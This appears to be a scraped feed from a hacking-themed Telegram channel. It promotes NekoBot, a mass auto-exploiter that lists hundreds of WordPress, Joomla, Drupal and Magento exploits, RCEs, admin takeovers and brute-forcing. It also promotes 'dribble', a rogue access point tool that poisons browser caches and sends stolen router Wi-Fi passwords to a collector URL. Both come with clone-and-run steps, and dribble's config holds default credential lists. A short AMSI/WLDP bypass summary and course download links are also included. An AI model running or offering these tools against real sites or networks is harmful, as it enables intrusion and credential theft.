UNDERCODE SECURITY

24 views21:38

UNDERCODE SECURITY

Situational Awareness.pdf

1.9 MB

24 views22:38

UNDERCODE SECURITY

collection of tons of courses

https://uploadcenter.com/users/coursedownloader

Uploadcenter

Files of coursedownloader

Uploadcenter.com is a Free cloud file storage to store all your files, photos, documents, music, and video in a cloude storage

26 views06:17

UNDERCODE SECURITY

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑WEBSITES HACKING 2020 :
NekoBot | + shell checker Auto Exploiter With 500+ Exploit 2000+ Shell

f e a t u r e s :

1- Cherry-Plugin
2- download-manager Plugin
3- wysija-newsletters
4- Slider Revolution [Revslider]
5- gravity-forms
6- userpro
7- wp-gdpr-compliance
8- wp-graphql
9- formcraft
10- Headway
11- Pagelines Plugin
12- WooCommerce-ProductAddons
13- CateGory-page-icons
14- addblockblocker
15- barclaycart
16- Wp 4.7 Core Exploit
17- eshop-magic
18- HD-WebPlayer
19- WP Job Manager
20- wp-miniaudioplayer
21- wp-support-plus
22- ungallery Plugin
23- WP User Frontend
24- Viral-options
25- Social Warfare
26- jekyll-exporter
27- cloudflare plugin
28- realia plugin
29- woocommerce-software
30- enfold-child Theme
31- contabileads plugin
32- prh-api plugin
33- dzs-videogallery plugin
34- mm-plugin
35- Wp-Install
36- Auto BruteForce
[+] Joomla

1- Com_adsmanager
2- Com_alberghi
3- Com_CCkJseblod
4- Com_extplorer
5- Com_Fabric
6- Com_facileforms
7- Com_Hdflvplayer
8- Com_Jbcatalog
9- Com_JCE
10- Com_jdownloads
11- Com_Joomanager
12- Com_Macgallery
13- Com_media
14- Com_Myblog
15- Com_rokdownloads
16- Com_s5_media_player
17- Com_SexyContactform
18- Joomla core 3.x RCE
19- Joomla core 3.x RCE [2019]
20 - Joomla Core 3.x Admin Takeover
21 - Auto BruteForce
22 - Com_b2jcontact
23 - Com_bt_portfolio
24 - Com_civicrm
25 - Com_extplorer
26 - Com_facileforms
27 - Com_FoxContent
28 - Com_jwallpapers
29 - Com_oziogallery
30 - Com_redmystic
31 - Com_simplephotogallery
32 - megamenu module
33 - mod_simplefileuploadv1
[+] Drupal :

1- Drupal Add admin geddon1
2- Drupal RCE geddon2
3- Drupal 8 RCE RESTful
4- Drupal mailchimp
5- Drupal php-curl-class
6- BruteForce
7- Drupal SQL Add Admin
8- Drupal 7 RCE
9- bartik
10- Avatarafd Config
11- Drupal 8
12- Drupal Default UserPass
[+] Magento :

1- Shoplift
2- Magento Default user pass
[+] Oscommerce

1- OsCommerce Core 2.3 RCE Exploit
opencart
[+] OTHER :

1- Env Exploit
2- SMTP CRACKER
3- CV

🄸🄽🅂🅃🄰🄻🄻🄸🅂🄰🅃🄸🄾🄽 & 🅁🅄🄽 :

1) git clone https://github.com/tegal1337/NekoBotV1.git

2) cd NekoBot

3) run as python NekoBot.py

use for learn !!
@undercodeTesting
@UndercodeHacking
@UndercodeSecurity
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

GitHub

GitHub - tegal1337/NekoBotV1: NekoBot | Auto Exploiter With 500+ Exploit 2000+ Shell

NekoBot | Auto Exploiter With 500+ Exploit 2000+ Shell - GitHub - tegal1337/NekoBotV1: NekoBot | Auto Exploiter With 500+ Exploit 2000+ Shell

21 views07:05

UNDERCODE SECURITY

FULL COLLECTION OF BUG BOUNTY ON GITHUB

https://github.com/djadmin/awesome-bug-bounty

GitHub

GitHub - djadmin/awesome-bug-bounty: A comprehensive curated list of available Bug Bounty & Disclosure Programs and Write-ups.

A comprehensive curated list of available Bug Bounty & Disclosure Programs and Write-ups. - djadmin/awesome-bug-bounty

29 views07:30

UNDERCODE SECURITY

How Red Teams Bypass AMSI and WLDP for .NET Dynamic Code.pdf

495.3 KB

Introduction
v4.8 of the dotnet framework uses Antimalware Scan Interface (AMSI) and Windows Lockdown Policy (WLDP) to block potentially unwanted software running from memory. WLDP will verify the digital signature of dynamic code while AMSI will scan for software that is either harmful or blocked by the administrator. This post documents three publiclyknown methods red teams currently use to bypass AMSI and one to bypass WLDP. The bypass methods described are somewhat generic and don’t require any special knowledge. If you’re reading this post anytime after June 2019, the methods may no longer work. The research shown here was conducted in collaboration with TheWover.

19 views08:23

UNDERCODE SECURITY

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑WIRELESS HACKING:
Dribble is a project I developed to play with my Raspberry Pie. The purpose of dribble is to stealing Wi-Fi passwords by exploiting web browser's cache. Dribble creates a fake Wi-Fi access point and waits for clients to connect to it. When clients connects, dribble intercepts every HTTP requests performed to JavaScript pages and injects a malicious JavaScipt code. The malicious JavaScript code is cached so that it persists when clients disconnect. When clients disconnect and reconnect back to their home router, the malicious JavaScript code activates, steals the Wi-Fi password from the router and send it back to the attacker.

Requirements:

hostapd
dnsmasq
node.js
bettercap

🄸🄽🅂🅃🄰🄻🄻🄸🅂🄰🅃🄸🄾🄽 & 🅁🅄🄽 :

Download and run
To run dribble, just download the repo and run it as root.

1) git clone https://github.com/rhaidiz/dribble

2) cd dribble

3) sudo ./dribble
Configuration

4) All the configuration you need is located in the config file:

# the internet interface
internet=eth0

# the wifi interface
phy=wlan0

# The ESSID
essid="TEST"

# collector
collector="http://rhaidiz.net/something"

# the routers' IPs
routerips=("192.168.0.1/24" "10.0.0.1/24")

# usernames dictionary
usernames="['admin', 'admin1', 'test']"

# passwords dictionaris
passwords="['admin', 'admin1', 'password']"

@undercodeTesting
@UndercodeHacking
@UndercodeSecurity
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

GitHub

GitHub - rhaidiz/dribble: Stealing Wi-Fi passwords via browser's cache poisoning.

Stealing Wi-Fi passwords via browser's cache poisoning. - rhaidiz/dribble

21 views09:19

UNDERCODE SECURITY

FULL Oracle Database 12c Program with PL SQL Ed 1.1 D87462GC11

https://mega.nz/folder/0ZxjVI5Q#_Yd5-zWbZIShlIg8C8BTLQ

mega.nz

File folder on MEGA

40 views10:27

UNDERCODE SECURITY

Forwarded from UNDERCODE NEWS

Is USA wants to ban WeChat from Playstore & AppleStore ?
#International
_